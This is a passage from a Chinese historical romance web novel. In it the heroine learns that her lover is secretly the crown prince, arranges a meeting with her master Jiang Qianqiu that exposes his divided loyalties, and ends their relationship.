她心中悲戚不已，诸多情愫浮上心头，顷刻间就鼻子微酸，眼眶也瞬间湿润了。
为了止住眼泪，她立马闭上眼睛，调整自己的呼吸。
就这样，在天光乍破之时，她才沉沉睡去。
穆轩岚醒来已久，看她没起就一直陪着她睡，他也不敢有什么举动，生怕吵醒千千。
结果等她幽幽转醒，翻身面对他时，他才注意到千千眼下的乌青。
“昨晚上没睡好吗？”他轻轻抚上她的脸，拇指摩挲那片乌青，眼中满是心疼，“不会是我昨晚吵到你了吧？”
她反应了一下，缓缓摇头：“没有，我就是在忧愁，你见主人的事。”
穆轩岚觉得没什么好担心的，反正他定能护她周全。安慰她好半天，两个人这才准备起床。
不知道是不是自己的错觉，穆轩岚总觉得她有些漠然。
或许，是昨夜没睡好吧。
穆轩岚穿戴整齐后，去院中找她，看她正端坐在那棵千年苍松下的石凳上时，心中感慨无限。
若他不是储君，就在这里跟她一生一世一双人，也何尝不是一件美事。
他专门放轻脚步，想过去给她一个惊喜，谁知道走进才发现，她竟在黯然落泪。
穆轩岚顾不得别的，他立马单膝扑跪在地上，连忙问她怎么了。
秦千千连忙用衣袖去眼泪，“没什么，山风太大，才吹得我流泪了。”
穆轩岚抬手替她拂去那边眼角的泪痕，他满脸关切又心疼，可现在看来，她不愿意告诉自己真正的原因。
那就不逼她。
“千千，你若是嫌这里无聊，我就带你下山。”
反正只剩见姜千秋这一件事，了解此事后，他就毫无后顾之忧了。
那时，若是千千不喜欢朝堂，他就带她浪迹天涯。
秦千千怔怔地看着他，眼神还微微颤动，若不是知道她眼睛一时间好不了，穆轩岚真有她已然恢复眼疾的想法。
……
他无声抬手在她面前挥了挥，发觉她还是没反应后，微不可查叹了口气。
眼睛睁得太久，秦千千眼睛异常干涩，她缓缓闭上眼睛。
“不用了，我现在哪都不想去。邵禾，这两日我都没找到之前买的贝壳项链，你能去屋里帮我找找吗？”
穆轩岚应允下来，他自然是不放心她自己在这里。不过院中左右伫立着舒彤和盈泉，他眼神示意两个人机灵点，这才去屋中找东西。
秦千千不会乱来的，她只安生地坐在原地，可她心中却早已掀起滔天巨浪，久久不能平复。
他真的把自己耍的团团转！
穆轩岚，你可真是会玩弄人心！
若不是昨夜那封亲笔信，秦千千还没反应过来，自己早被蒙骗已久。
白邵禾……白少禾……
那分明就是“穆”字的拆解！
而他武功高强，行事作风又异常严谨，放眼整个天下，除了当今储君穆轩岚，还能是谁？
昨晚察觉到这一点的时候，她仿佛被抽走全身气力，天旋地转，几乎稳不住身形。
随着那支笔跌落的，还有她对白邵禾，不，应该是穆轩岚的全然信任。
更加造化弄人的是，偏偏在这个时候，她的眼疾恢复了。
能视物的一刹那，她就看到，那人单膝跪在自己膝前，满眼疼惜地看着自己。
那神情，不像是装的，而且也没必要在瞎子面前装。
想到这里，她头痛欲裂。
他对自己的那些感情，究竟是真情流露，还是仅仅为了骗自己见主人，略施小计呢？
她转头环顾四周，想要找到他不是穆轩岚的证据。
可在看到大敞着的府门时，她的心就彻底死了。
门上金灿灿的铺首衔环，可是最高规则的龙首，而门外气吞山河的风景，也昭示着，这宅邸的选址极尽尊贵。
舒彤和盈泉看着她孤零零坐着的背影，都不清楚她在干什么，鉴于她平时很喜欢支着耳朵听动静，她们就以为秦小姐头转来转去是在听声音。
秦千千再度转头看到那千年苍松，心中突然想起她主人，想起自己已经允诺穆轩岚，要带他去见主人。
事到如今，她该怎么办呢？
穆轩岚找到项链，便拿出来找她，“千千，我找到了。”
秦千千敛藏起神情，循声望去，看他面带笑意地走过来。
这幅画面她在脑中想过很多次，可现在真的看见了，她心中却只有无尽的悲戚。
真真假假，她搞不明白。
“你要现在戴上吗？”穆轩岚一手一条，温声细语地问她。
秦千千点头，等他给自己戴上后，她看着眼前的人，轻声开口。
“待会儿我去写信，然后就可以给主人传信，你能帮我把冬芸接过来吗？我自己在这里太枯燥无味了。”
她心灰意冷之际，也下定了决心。
既然他千方百计想见主人，那就让他见吧。
她不忍心看他愿望落空，不管他是白邵禾，还是穆轩岚。而这，也是她唯一能为眼前之人做的了。
停留在岭北的几个人，日后变故突生的时候，她们谁都不适合带冬芸。
真到那时，她们能保全自身，就已经很了不起了。
因此，她想到了灯下黑，干脆把冬芸托付给穆轩岚。而她，能保证穆轩岚不杀冬芸。
穆轩岚自然不会拒绝她，别说接一个冬芸过来，哪怕她想直接去岭北，自己也会竭力办到。
“好，我今天就差人去办。要不要我陪你去山上转转，听盈泉她们说，这几天你很想出去。”他坐在千千身边，牵起她的手。
不知是不是想走个过场，他把另一条项链放在她手里，借她的手把项链给他自己戴上。
就在秦千千苦笑不得的时候，穆轩岚看到了她手上的玉镯，或许是以为
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她仍有眼疾，他表情一下子阴沉下来，秦千千心中突然一紧。
糟了！
抽空要跟晏信通风，让他小心些了。
她装作什么都不知道，反手攥住穆轩岚双臂。
“好呀，我们先出去逛逛，然后晚些时候去清洛洞里泡汤吧。你交代的太严厉，上次她们两个谁都不带我下水，也不准我下水。”
穆轩岚低头失笑，自己不在她身边，别人当然得打起十二万分精神。
有自己陪她，这些都不是问题。
山中溪涧、阡陌小路，两个人花费半天时间全走了一遍，最后她实在走累了，穆轩岚就背着她回府。
秦千千歪头躺在他颈间，享受着这片刻的宁静。
穆轩岚稳步上坡的时候，却被人扼住咽喉，她力气不大，对他来说只是个花架子而已。
“公子，打劫！”
原来是她玩心大发，穆轩岚脚步不停，却相当配合她。
“你要劫什么，钱财吗？”他说话的时候，抵在她掌心的喉结上下滚动，弄得她掌心痒痒的。
“当然不是！我可是采花大盗，不干别的，今天本大王就是要劫色。”说着，她歪头在穆轩岚脸颊啄了一口。
穆轩岚被逗笑，这人脑子里一天天都在想什么，怎么想法都稀奇古怪的。
在他晃神的间隙，秦千千看他不搭理自己，就朝着他白皙如玉的颈间，咬了一口。
“嘶……”
不痛，对穆轩岚来说，刺激大过痛楚。一阵酥麻感从颈侧传遍全身，他下意识收紧双手。
这可就苦了秦千千，他的手本来是托着自己的腿，而他手劲又大，不小心捏的那一下，把她痛得一激灵。
可她还是没有松嘴，在看到他略微绯红的耳尖时，作恶的心超过了其它。
“千千！”穆轩岚情急之下，往另一侧偏头，拉开了跟她的距离。
而那作恶之人，一脸无辜地舔了下唇。
她专心致志地看着他颈间，那圆圆的咬痕清晰可见。她目光上移，嘴角噙笑地看着那有些羞恼的人。
“……”看着她笑得眉眼弯弯，穆轩岚也不忍心说重话，“别闹了千千，我们早些回去。”
秦千千突然正经起来，她专门清了清嗓子：“我没跟你闹，我真的好喜欢你啊！”
被这告白打得措不及防，穆轩岚楞在原地，谁知秦千千反倒前后摇晃，催促他赶紧回去。
回来后她也不吃饭，非要拉着他去清洛洞，上次去的时候她都问清楚了，这里面的大致情况。
“最里面的就是你专属的清泉呗，还不准别人进去。”
听她那不屑又有些埋怨的语气，穆轩岚就知道，她这是非去不可了。
他其实也没有那么霸道。
“不让别人去，是因为里面两个泉眼，一个热得很，一个冷得很，都不太适合一般人。”
穆轩岚一边带她往里走，一边跟她解释，秦千千却不甚在乎，她只是要找个只有两个人去的地方而已。
“嗯？找这种地方干什么？”
许久不来，穆轩岚走得格外专心，下意识反问她，谁知秦千千攥了攥两个人交握的手。
“待会儿你就知道了。”
126. 清洛洞韵事
穆轩岚总觉得她今天怪怪的，虽然她平时行事作风也很难以估测，但不比今日的她。
她几次三番撩拨自己，搞得他眸色越来越深沉。
直至现在，洞中除了她们二人，就再无他人。
“到了？”
虽然秦千千已经看清这云雾缭绕的洞中地势，但她没有忘记她现在得装瞎。
“嗯。”穆轩岚几乎是立刻回应了她，“想去哪个泉眼？”
一个热得很，一个冷得很。
秦千千歪头想了一下，“你喜欢去哪……嗯？”
她还没说完，就被穆轩岚吻住了嘴。
速度之快，哪怕她不是瞎子也没反应过来。
在她原地惊诧的时候，那人已经开始了攻城略地的攻势，几乎没给她什么喘息的机会。
察觉到她往后躲，他还按住她的头，加深了这个吻。
不知是热气蒸腾，还是怎地，顷刻间她就红了脸，定睛一看，穆轩岚倒是面色如常。
察觉到她呼吸急促，穆轩岚这才放过了她，只不过还跟她额头相抵。
“怎么，撩拨我的时候，没想到有这一天？”
他手还不安分地摩挲她后腰，弄得秦千千忍不住笑出来。
“我当然想到了，我还想到就在今天。”
秦千千抬眸看他，眼中全是故意为之的欣喜，这一刹那让穆轩岚晃了神，他很久没看到她如此灵动又野心勃勃的眼神了。
“你……”
知道他要问什么，秦千千歪头看了一眼他身后的泉眼，而后笑得眉眼弯弯。
“看不到今天发生的一切，我会抱憾终身的。”
接着，她就环住他的腰，亦步亦趋地把人赶进水里。
不是英姿飒爽、姿势优雅地入水，两个人几乎是失足跌进去的。
落水激起的水花四溅，波浪推开洞中水雾，顷刻间水雾又占据上风，弥散整个水面。
整个水面寂静无比。
穆轩岚想好好看看她，就准备带她游上去，可秦千千却摇了摇头，十分主动地吻上他。
她双手攀着他的肩，技术一般，但胜在情真意切。
穆轩岚不想扫兴，便更加热烈地回应她。
可千千终究是个普通人，没一会儿，他就发觉唇舌之战中，她渐渐落了下风，只顾一味地任他索取。
他赶忙抱着人浮出水面，秦千千歪在他肩头咳嗽，听得他心颤，赶忙帮她顺气拍背。
“傻不傻，上来换气能费多少事。”
穆轩岚小声揶揄她，秦千千再度转头，眼睛湿漉漉地看着他，其实何止眼睛，她头发上的水还在往下淌。
洞中不辨日月，而且也没有烛火，也得亏现在是青天白日，不然穆轩岚压根看不到她眼中的情愫。
从洞口进来的光，在水面上晕开，又反射到四周的石壁，那些光影跃动，衬得整个清洛洞都在随波逐流一般。
借着那活泼的光线，秦千千紧紧盯着穆轩岚的脸，她觉得自己有些醉了。
“你也太俊了。”
秦千千今日的嘴格外的甜，饶是从小在赞誉声中长大的储君殿下，也被她夸得勾起了唇角。
他凑上去轻啄她嘴唇，而后意味深长地“嗯”了一声。
“嗯什么？”秦千千反问他，还没等他回复，就目光灼灼地看向他领口。
紧接着，她的手攀附上去，指腹搭在他骨感的喉结上。
察觉到她要干什么，穆轩岚喉结翻滚一轮，沉声道：“刚刚尝了一下，你今天的嘴，的确是非常之甜。”
秦千千并不意外地挑了下眉，只不过她眼神并未看他，而是全程在看他的喉结，看她颇为着迷的样子，穆轩岚心中有些不爽。
他转头望了一下不远处的小瀑布，灵光乍现，准备带她过去。秦千千任由他圈着自己，由着他带自己去那里。
到了这边她才发现，这里的水中竟然有个小平台，可以供一个人坐在这里。
可那个位置，头上就是哗哗不停的小瀑布……
“你要坐过去啊？”
“那是我平日练功静思的地方。”穆轩岚满心欢喜地看着她，还是眼疾恢复了好，不然她蔫蔫儿的，看的人心疼。
“那就不打扰你清修了，告辞。”秦千千双手抱拳，转身就准备游走。
他被她逗笑，不过他也没阻拦她，任由她离开了。
自己这会儿心神荡漾，的确得去清心寡欲一下。
那小瀑布的水微凉，用来醒神再合适不过。
他端坐在那里，身前的水没过胸口，由于头顶水流的冲击，只能屏气闭眼。
趁着空闲的功夫，他在脑中回想这段时间的种种，想到这两日的际遇，他嘴角微微上扬。
只要见了姜千秋，了却他父皇的心愿，他就能跟千千双宿双飞。
到时他们一同去哪里呢？
对了，肯定要先去茅安镇，尝尝她酿制的明月醉；再然后，隐居在璃光海也不是不可以……
在他徜徉在将来时，他从声音中分辨出她游了过来，不过他并未睁眼，他想看看，千千接下来要干什么。
她扶着穆轩岚的肩膀，侧坐进他怀中。
为了不让她掉下去，穆轩岚不慌不忙地搂住她的腰，可在接触到她腰间皮肤的时候，他骤然睁开眼睛。
在他睁眼之际，秦千千捧着他的脸，亲了上去。
……
穆轩岚抱着她出来的时候，天色已暮，火霞连天的壮观景色，秦千千也没劲儿看了。
她困得睁不开眼，穆轩岚像前两天她看不到一样，跟她描述天边的绚烂风光。
被他勾起好奇心，秦千千睁开一只眼，转头看了看天。
“嗯，确实很好看。”
他抱着千千在路上停留了一会儿，在她肚子咕咕叫的时候，这才快步回去。
为了照顾她的身体，他直接把人放在床上。
“我去让丫鬟把饭送来，你在这里等着吧。”穆轩岚还给她盖上被子，生怕她受风。
毕竟两个人今天压根没去温泉中，全程都在冷泉中，出了清洛洞后，山风又格外冷冽，他很是担心千千的身体。
秦千千现在乖得不行，她躺在床上点头，待他走后眼神却变得十分无奈。
他可真是被冲昏了头脑，怎地就不跟自己解释，这座宅邸的古怪之处呢？
罢了，现在说这个也太扫兴了。
显然，穆轩岚真是暂时忘却了此事，他事无巨细地照顾她吃完饭
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，秦千千陪他吃完饭，便拉他去书案边，完成昨天没写完的信。
“那张纸被墨晕染了，再换一张吧。”他正准备拿走那张纸，秦千千却按下了他的手。
“不用了，写到这里也就差不多了。我再写几句邀约的事情，就能送出去了。”
穆轩岚心中有些许疑惑，但他来不及思考那么多，转眼间信笺写好密封好，秦千千拿着信笺出门，还催促他快些跟上。
她双手以一种怪异的姿势交叠，而后吹响，呜呜之声回荡整个山涧。
不一会儿，一只苍鹰啼鸣而来。
穆轩岚看着她熟练地把信固定在鹰腿上，然后拉着他离远些，看着苍鹰振翅飞走。
“不出两日，就能收到回信了。”秦千千望着远去的苍鹰，脸上有一丝微不可查的不舍。
穆轩岚心中澎湃不已，毕竟，他离渴求已久的和谐圆满，就差这几天了。
秦千千看他一眼，就知道他的所思所想，她不忍心告诉他，事实跟他所想所愿背道而驰。
仅剩两天的欢愉，又怎么不算美好呢？
她不愿意打破这最美、最后的时光。
姜千秋的来信，跟她预计的时间差不多。
一如往常，言简意赅。
穆轩岚倚在门口等她拿信，看她回来后，就又把人揽进怀里。这两天，她们两个几乎天天黏在一起。
就连看信，都是两个人坐在一起看的。
【明日子时，鲁南州白阳府，待汝归来】
“这是你主人的宅邸？”穆轩岚看着那寥寥几字的纸条，心中颇为不忿。
千千给她写了好几页，她就这么冷漠的回了几个字？
如此想来，他就更下定决心，要带她逃离姜千秋。穆轩岚不自觉收紧手臂，秦千千被勒得咳嗽了两声。
她往旁边一歪，倚在他颈间，颇为好笑地跟他解释。
白阳府可不是什么宅邸，那是鲁南州最兴隆的酒坊。而鲁南州，虽然不如京都繁华，但在江湖上也是很有名气的。
“这么说，你主人除了自己的清风酒，还喜欢喝别的酒坊的酒？”穆轩岚故意跟她开玩笑，把秦千千气得在他怀里冷哼。
“清风酒是赚银子用的，我主人其实什么都不忌讳，碰到什么喝什么。”
往日知道自己在调笑她，她就不会再搭理他，现如今她对自己是越发有耐心了。
每每想到这里，穆轩岚就心情大好。
不过今天还没等他笑两声，秦千千就从他怀中起身，催他赶紧出发。
“我们现在出发，日夜兼程，应该能正好赶上这时间，若是错过这次机会，想见主人就难了。”
趁她在屋中收拾衣服的当口，穆轩岚出门安排暗卫先行，在那里布下天罗地网。
谁知刚一上路，秦千千的身体就出了问题，她几乎是每十里都要下轿吐一会儿，到最后虚弱到几乎晕厥。
“不去了，我们现在去治病。”穆轩岚看她虚弱成这个样子，心急如焚地要叫停马车。
秦千千担心他置气坏事，赶忙拉住他衣袖，气息微弱但语气坚定：“要去，这可是千载难逢的机会。”
一句话把他点醒了。
是啊，京中父皇等着他回去救命呢……
127. 终见阁主，名不虚传
一路舟车劳顿，他们终于在第二日未时末到了鲁南州。
又花了三炷香在城里找到白阳府，站在恢弘大气的府门前时，穆轩岚心中惊诧不已。
若不是千千提早告诉他，他还真看不出来，这竟是一个酒庄。
看出他心中的疑惑，秦千千轻声跟他解释。
“这里原本的确是最富庶之人的宅邸，后来家风破落，就被当年的宿敌买了宅邸，做成了人来人往的酒庄。”
穆轩岚看她还十分苍白的脸色，就叮嘱她少说话。看她歪头倚在自己怀里，他这才继续往前走。
抱着她不方便去柜台，好在走的时候，他们带上了舒彤和盈泉，两个人赶忙去安排房间。
休息两个时辰后，穆轩岚轻手轻脚叫千千起床吃饭，自从出发之后，她就再没吃过东西。
可这次，她还是拒绝了。
穆轩岚很是担心，他抬手覆上千千的额头，只要不是染上风寒，那一切就都好说。
“等快到子时的时候，你再叫我起来吧，我现在乏累的很。”她小声跟穆轩岚提议，听得他越发揪心。
“千千，我给你找个大夫请一下脉吧？”
往日也没见过她如此这般，竟然被一次远行折磨成这样。
谁知她却拼命摇头，还要挣扎着坐起来。穆轩岚不敢强按，怕伤到她，只能由着她起来，然后赶忙坐在她身后，把人倚在自己怀里。
“不用浪费这时间，你也累了一路，休整一会儿吧。”
听着她气若游丝，穆轩岚心中莫名一阵慌乱，应该是自己忧思过度了，她在自己身边，就是最安全的。
整理好自己的情绪，他低头看千千，发现她已经睡着了。
他慢慢把人放到床上，在抽手要离开的时候，秦千千如梦游般抓住他的手腕，似乎在挽留他。
穆轩岚由着她拉住自己，陪她躺了一个时辰，等她彻底睡熟后，这才离开。
还有一个时辰，他就能见到姜千秋了。
若不是因为要去跟暗卫碰头，穆轩岚一定会留在这里陪她，可姜千秋诡计多端，纵使自己不为捉住她，那也得布个天罗地网阵不可。
不然，他总会担忧再生事端。
确保暗卫这边都已完备后，他招手叫来夏念烟和莫凝歆，这两个暗阁中唯二的女暗卫。
她们两个执行任务，从未出现过纰漏。
两个人跪在地上等殿下下令，穆轩岚等别人离去后，这才幽幽开口。
“你们去找这里最好的大夫，把千千的症状告诉大夫，问问她这是怎么了。若是不严重，速来报我；若是严重，就直接把大夫带来。”
安置妥当一切后，穆轩岚这才悄无声息地回去，看着依旧在沉睡的秦千千，他无声缓了口气。
比起和衣而卧，他选择端坐在屋中间的茶椅上，闭目养神，静待子时到来。
谁知先等来的，是一声破空的啼鸣。
穆轩岚倏然睁眼，这是最紧急的情报，也是只有皇宫出问题时，才能用的加急传信方式。
穆轩岚来不及多想，赶忙夺门而出。
穿过回廊时，隐在暗处的夏念烟和莫凝歆现身，穆轩岚停住脚，问她们大夫怎么说。
“殿下，大夫说她要诊脉，说不准……”
夏念烟很少有欲言又止的时候，一旁的莫凝歆知道她在担忧什么，无非是现在千钧一发之际，那事儿又是万分紧急，夏念烟肯定担心说了后，殿下有可能会被扰乱心神。
莫凝歆倒觉得此事压根瞒不住，便直接替她说下去。
“殿下，大夫的意思是，说不准秦小姐有喜了。只不过，她也不能万分确定，所以要请脉……”
穆轩岚霎那间如遭雷击，愣在原地。
复杂的情绪裹挟了他，轰鸣响彻他整个灵魂，回声震耳欲聋，让他心潮澎湃到手都几乎在抖。
可不等他想明白现状，那略显凄凉的啼鸣声再度响起，三个人一同朝那声音传来的方向望去。
“殿下，大夫已经请来，要不……”夏念烟看时间不多，得赶快让殿下做出决断。
不过在她看来，殿下完全可以把这事儿放给她们做，自己去处理朝廷中的事情。
“不，明日再宣大夫，你们守在这里，我去去就回。”
权衡利弊之下，穆轩岚做出了他的选择，先行去收消息。
看到元德的那一刹那，穆轩岚眉头微蹙。
他不是应该跟桃花花她们待在一起，怎么出现在这里了？察觉到殿下的疑问，元德立马跪地解释。
“殿下，昨日桃花花她们收到密函，所有人都四散而去了，我在那边安置好跟踪她们的人，就火速赶到这里了。”
穆轩岚一边听他解释，一边朝运送密函的人伸手，那人打开密封好的信笺，毕恭毕敬地递给穆轩岚。
火漆金印，这的确是他父皇送来的。
【吾儿竭力，朕大梦仓皇，恐已时日无多】
穆轩岚心中一紧，上次父皇骗自己回京，已将一切和盘托出，他身体的确孱弱，只能靠丹道之术吊命……
这信无疑又是一记重锤，砸在他热血未凉的心头。
大悲大喜，竟都在一夜之间袭来。
想着两炷香后的会面，穆轩岚心中的愠怒早已盖过早先的欣喜。
若是姜千秋早日答应与自己见面，何至于他甚至没有空给千千调理身体，又何至于让他父皇落到如此境地？
想到这里，他就把信甩给元德，转身离去。
趁着这个功夫，他要再去陪一会儿千千。
“元德，换好衣服，待会儿跟我一同赴约。”说罢，他便匆匆离去。
走到屋外，正好遇到神色匆匆的盈泉。
“殿下，秦小姐在找您，您快些回去吧。”
听到千千受了惊吓，他又加快脚步往回赶。
他抬脚进门的时候，对上了她惊恐万状的神情，穆轩岚什么都顾不得，赶忙过去找她。
“怎么了，我就出去几刻……”
秦千千也不说话，她就倚在穆轩岚怀中，手死死抓住他的手。为了给她安慰，穆轩岚越发用力地抱着她。
“没事，我就是做了个噩梦而已。”秦千千现在还有瑟瑟发抖，他低头在她额头落下一吻，轻声安慰她。
“没事的，你素来不是最相信你主人吗？现在说不准她就在外面
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呢，不放心我，你还不放心她吗？”
想起刚刚大夫的话，穆轩岚心中就有些荡漾，都这时候了，他还不忘调笑怀中的人。
秦千千用头撞了一下他肩颈，稍微发了下怒，“你让舒彤她们出去吧。”
待屋中仅剩两人后，秦千千一转身坐在他腿上，双手环住他的脖子，看着那眉目如画的面庞，深情地吻了上去。
穆轩岚很是诧异，她往日从不主动，哪怕自己勾起了她的情欲，她也不似今天这般热情。
他任由千千撩拨自己，一吻完毕后，她被累的抵在他颈侧大喘气。
“我梦到你再也不肯跟我亲热，在梦中我都快急哭了。”她小声嘟囔，穆轩岚哑然失笑，怪不得她刚刚不说原因，原来是羞得慌。
“梦都是相反的，要起床吗？差不多要去见你主人了。”穆轩岚忍住笑意，帮她换了上，她专门选的浅蓝色的套裙。
据她说，这是她主人最喜欢的颜色。
这衣服穆轩岚也喜欢，青纱暗纹之间，还流光溢彩的，让他想起了璃光海的海面。
这边刚换好衣服，门外就有人来敲门，秦千千跑去开门，看着门口端着托盘的小厮，拿过托盘上的一张信纸。
那是主人定的地点。
不消一炷香，穆轩岚和秦千千就到了白阳阁，传说白阳府最高的地方。
这就是个高耸的阁楼，最顶层屋中三步一纱、五步一垂帘，四周门窗大开，风吹垂帘叮当响，不让人心烦，反倒让人心中很是沉静。
穆轩岚觉得很是奇怪，但现在早已没有回头路，是鸿门宴，他也得进去。
在他一只脚踏进门槛时，秦千千突然肚子痛，她捂着肚子要去茅房。穆轩岚提议陪她，却被她婉拒。
“不用了，我去去就回。”
穆轩岚想着四周全是他的人，定不会出什么问题，就目送她下楼，自己则是先行一步进屋。
再度听到急促的脚步声时，穆轩岚就知道一定出问题了，那步伐频率，定不是秦千千。
“殿下，老板被人带走了。”元德攥紧手里的剑鞘，几乎是咬牙切齿地说道。
那人武功高强，几乎是没费功夫，就在众目睽睽之下带走了秦千千。
穆轩岚面色狠戾，转身就要下楼。
可就在这时，一阵风吹来，远处的窗台边出现了一个人影。
“储君殿下可要想好，机不可失。”
那人嗓音清冷，有种让人清心静气的效用。
穆轩岚转头看向元德，元德心领神会，立马去门外守着门。
去捉她不现实，她既然能神出鬼没的出现，那他们现在跟她硬碰硬，就是徒劳。
“你把千千带去哪里了？”穆轩岚语气不善。
谁知那人却轻笑一声，“殿下，你大可以去找她，亦或者，你想留在这里问我一些问题？”
“姜千秋，我对千千是真心的，你不要由此迁怒她。”
“迁怒？我只是想让她看清真相而已。”
穆轩岚一直都在躲避这个问题，可没想到见姜千秋的第一面，就让她按住了自己的死穴。
刀刀见血，果然不愧是芳草阁阁主。
128. 真相大白
穆轩岚冷哼一声，丝毫不上当。
“你早已知晓我和千千心意相通，又何必多此一举。”
若不是姜千秋帮他隐瞒，恐怕在隆北道，千千就知道她的真实身份了。
“她喜欢的是游侠白邵禾，请问阁下是……？”
字字诛心，姜千秋的话，句句都让穆轩岚心中淌血。
这也是他最担心的事情，建立在虚妄上的感情，还能作数吗？
他沉吟片刻，开始颇为焦躁地在屋中踱步。想到自己此行的任务，穆轩岚又沉下心来，现在来不及想那些了。
“那是我和千千的事情，就不劳你费心了！是去是留，我会尊重她的决断的。”
哪怕她动手杀了自己，那他也是心甘情愿。
重重纱帐后的人，不经意间咳了一声，听得穆轩岚心意微动。
独步天下的姜千秋，身体竟然如此娇弱的吗？
即便如此，穆轩岚也不想打草惊蛇，在问出云岫山的事情前，他不能轻举妄动。
“希望你说话作数。”那人语气冰冷，回应穆轩岚的上一句话，接着，她语调颇为轻松，整个人也微微耸动。
不过隔着几层纱帐，穆轩岚看不真切。
“殿下既已做出选择，有什么想问的，便问吧。”
他在屋中已然呆了这么长时间，那就摆明了是选为父皇鞠躬尽瘁。
虽说是他的选择，可姜千秋就这么明了地挑明，还是让穆轩岚有些不快，他并不是不在意千千，而是父皇身体的确格外紧急一些而已。
原本他以为，姜千秋定是一个明理通透之人，没想到现在一见，也是个意气用事之辈罢了。
本想敬重她一下，可她先伶牙俐齿的，穆轩岚的耐心也被消磨殆尽。
“那阁主可否告诉我，云岫山的方位，以及山中的守山派怎样跟他们取得联络？”
话音刚落，一阵西风吹过，整个屋子的纱帐垂帘，全都朝着姜千秋站立的位置飘去。
就在此时！
穆轩岚移步极快，几乎是一呼一吸之间，就冲到了那人面前。
他出招狠戾，直直照着那人心口打去，虽然他并不觉得自己有几成胜算。
说不想捉住姜千秋，那是虚与委蛇的托词，穆轩岚太想捉住姜千秋了。
她玩弄整个天下这么久，他找姜千秋，一是为了云岫山的秘密，二就是搏一搏，看能不能捉住她。
若能捉住，他定要将这个人千刀万剐。
掀开最后那层纱帐，两个人几乎仅隔一丈，看清那人的长相后，穆轩岚已经无法停手了。
他诧异之余竭力调转方向，可奈何秦千千直直撞上他的掌心，然后几乎被打出窗台。
顷刻之间，穆轩岚顺势抓住她的胳膊，借力把她揽在怀里，半转身躯，让自己背对窗台。
错愕、惊惶，如潮水般席卷而来。
“千千，怎么是你？”
明明刚刚还字字铿锵的人，现在开口的嗓音确实喑哑不已，秦千千双手撑着他的胸口，用力一推，挣脱他的怀抱。
她脸上全无情绪，或者说，是面如死灰。
“不是如此这般，我又怎么能看得穿殿下的心？”
穆轩岚乱了阵脚，慌乱之中想去拉她的手，却被她后退一步躲过，她满眼敌意地看着他。
“殿下也不必装了，从前的所有事情一笔勾销，我们日后就是陌路之人。我允诺你引荐主人，那就定会让你见到她的。”说罢，她就准备离开。
穆轩岚跟了两步，拉住她的手腕，却被她攥拳挣脱出来。
若他尽全力，必不可能被她挣脱。可穆轩岚担心她弄伤自己，只能无奈放手。
“不……千千，你听我解释……”
慌乱之中，字不成句。
秦千千侧身，无悲无喜地看着他，那语气中的嘲讽，不是说给穆轩岚听的，句句都是在伤害她自己。
可听得穆轩岚心如刀割。
“是我不自量力高攀储君，自此以后，不会叨扰殿下了。”
比声嘶力竭唾骂，更让人崩溃的，是无声的诘责。
两个人四目相对时，穆轩岚彻底慌了，她的眼神中满是决绝，似乎写满了与自己死生不复相见。
开口时，他察觉到自己的声音都在抖。
“千千，这就是你的选择吗？”
不知她想起什么，她低头无奈地笑了一声，穆轩岚看到，她悄然皱了皱鼻子。
这动作他清楚，这是千千在忍哭的惯例动作。
没等她开口，穆轩岚的心已经碎了。
“穆轩岚，你知道我多喜欢你吗？在我眼疾恢复的那一天，我就知晓了你身份的秘密，可我说过要补偿你，当初赔了晏信一场婚宴，我担心你日后气不过，就把自己全然交付给你……”
听她说完，穆轩岚也酸了鼻尖，双目湿润。
她抬起脸，满脸绝望地看着穆轩岚，屋中没有烛火，穆轩岚却把她眼中的泪光看得清清楚楚。
秦千千眼睛眨啊眨，拼命不想让眼泪掉下来，可泪珠由不得她，还是从她脸颊滑落。
穆轩岚想都不想，就捧住她的脸，用拇指擦去她的泪痕，可泪痕越擦越多，她的声音也有些许哽咽。
“对不起，千千，我真的对不起你。”他满眼懊悔，语调几乎是卑微地祈求，求她原谅自己。
“我觉得我不欠你了，放我离开吧，殿下。”说完这话，她悲痛万分，缓缓闭上眼睛。
最后一滴眼泪从眼尾滑落，滴进此后，穆轩岚每个辗转难眠的梦中。
而最后那句殿下，无疑是一把利刃，直插穆轩岚心脏。
“不不不，千千，你不能……”
秦千千深呼一口气，掀起眼帘看着他。
“殿下刚刚还说，尊重我的选择，我已做出决断，请殿下尊重我。”她似乎觉得这话不够伤人，便又加了一句。
“还是殿下想学你弟弟，把我囚禁成第二个楚风？”
望着那陌生的眼神，穆轩岚痛到无法呼吸，他钳住千千胳膊的手，也慢慢失了力气。
不，他不会那样的。
“若殿下还念及曾经的旧情，那就请不要对桃花她们赶尽杀绝，任由她们浪迹江湖吧。还有冬芸，她机敏聪慧，希望能为殿下所用。”
“至于我主人，她待会儿会通知你真正的会面地点，我喜欢这里，所以才骗你
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来这里的。”秦千千嘴角往上扯，她已经尽量笑得灿烂了。
“穆轩岚，祝你心想事成。”
她慢慢拂去穆轩岚的手，朝他行了个拱手礼，转身离开，穆轩岚皱眉哽咽，问了她最后一个问题。
“千千，我们还能再见吗？”
秦千千没有转头，她的声音夹杂着夜风，刮过穆轩岚，让他凉彻骨血。
“我不想。”
穆轩岚绝望地闭上眼睛，任冰冷传遍四肢七窍。
走到门口时，她特意抬头看了眼元德，那人也是一脸的欲言又止，秦千千抬手阻止他说话。
“各自为主而已，无碍。”
元德看她这般落寞，也是揪心不已，他推己及人完全不敢想，殿下此刻会如何心碎。
他也顾不得礼数，连忙跑进屋。
“殿下，您就这么放老板走吗？”元德想不出个两全之策，可他隐隐觉得，若就这么放她走，那将是再不复相见。
穆轩岚又怎么会不知道？他无法平复沉重的呼吸，不知想到什么，他骤然抬眸看着元德。
“元德，叮嘱下去，别让她们拦着她。”
不能让她在这里停留了，不然，她就会想起她身上还带着那贝壳项链。
若她真的把项链也留下，那就彻底湮灭他的所有期望了。
留着，最起码给自己留个念想。
虽不知殿下的用意，但元德只好照办。
在元德出门时，徐徐微风中夹杂着一股破空声。那声音朝着穆轩岚背后打过来，他一侧身躲过去。
那枚雪花状的飞镖，直直打在远处的柱子上。
穆轩岚转头朝外查看时，发现远处稍低一些的木楼顶，伫立着一个身影欣长的人。
那颇具风骨、又遗世独立的气势……
不是姜千秋又是谁！
穆轩岚想不都想，就直接追了上去。
若说登楼前，他还抱有那么一丝希冀的话，现在他就是早已心死梦碎。
他现在唯一的执念，就是找姜千秋问出云岫山的事情。
走到这里，他已经付出了最惨痛的代价，此事必须要有个了断。
两个人一前一后，说是追逐其实不妥，穆轩岚也发现了，她走走停停，在刻意等自己。
行至一沧荒湖边，姜千秋停下了脚步。
